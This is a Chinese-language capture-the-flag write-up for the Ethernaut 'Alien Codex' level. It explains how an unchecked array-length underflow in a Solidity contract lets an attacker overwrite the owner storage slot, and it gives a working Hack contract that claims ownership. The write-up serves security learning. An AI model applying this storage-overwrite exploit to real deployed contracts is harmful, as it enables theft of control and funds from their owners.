19.Alien Codex
2023-06-23 20:59:50 # 04.Ethernaut CTF

Alien Codex

题目

目标:声明所有权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

分析

本题有个import,然后继承了父类。import有问题,我们不import,直接写进来吧如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

contract Ownable {
address private _owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () internal {
_owner = msg.sender;
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}

function isOwner() public view returns (bool) {
return msg.sender == _owner;
}

function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}


function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

我们发现,需要声明的所有权在父类中Ownable的_owner。但是我们发现,AlienCodex当中没用任何一个方法可以直接修改owner的值,但是有一个边长数组bytes32[] public codex;,并且有一系列方法可以操作它。

关键点:retract()方法直接将数组长度-1,然而没做任何越界处理。因此,如果初始状态codex=0,那么调用一次,就直接越界为0-1=2^256-1,即length=2^256-1。此时codex数组就包揽了AlienCodex在EVM所有的插槽!想修改AlienCodex的任何值,都可以通过codex这个数组来修改,我们可以通过revise()这个方法来修改

AlienCodex继承了Ownable,_owner在父类,那么_owner在AlienCodex中就是位于slot 0。那么我们通过codex来修改slot 0 的数据即可。

动态数组存储:keccak256(slot) + index

  • slot 0:address private _owner;和bool public contact;
  • slot 1:bytes32[] public codex;

codex的第一个元素位于slot keccak256(1) + 0,第二个元素位于slot keccak256(1) + 1,如此类推。

codex数组有2^256个元素,其第一个元素就是整个EVM存储大小2^256个存储插槽的slot 0,就是我们的_owner,算式如下:

1
0 = keccak256(slot 1) + index

index就是我们要找的位置,重新排列一下,亦即︰

1
index = 0 - keccak256(slot 1)
  1. 调用make_contact(),先将bool public contact;设置为true,满足modifier条件
  2. 调用retract(),使codex越界,范围变成0~(2^256)-1。
  3. 调用revise方法修改数据

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Hack {
AlienCodex alienCodex = AlienCodex(0x8943c11061d211E6cb6D28c70af100f1F3805aC6);

function attack() public {
alienCodex.make_contact();
alienCodex.retract();
uint index = uint256(0) - uint256(keccak256(abi.encodePacked(uint256(1))));
//下面这种写法也行
//uint index = uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));
alienCodex.revise(index, bytes32(uint256(uint160(msg.sender))));
}

}

做题

获取实例,攻击

通过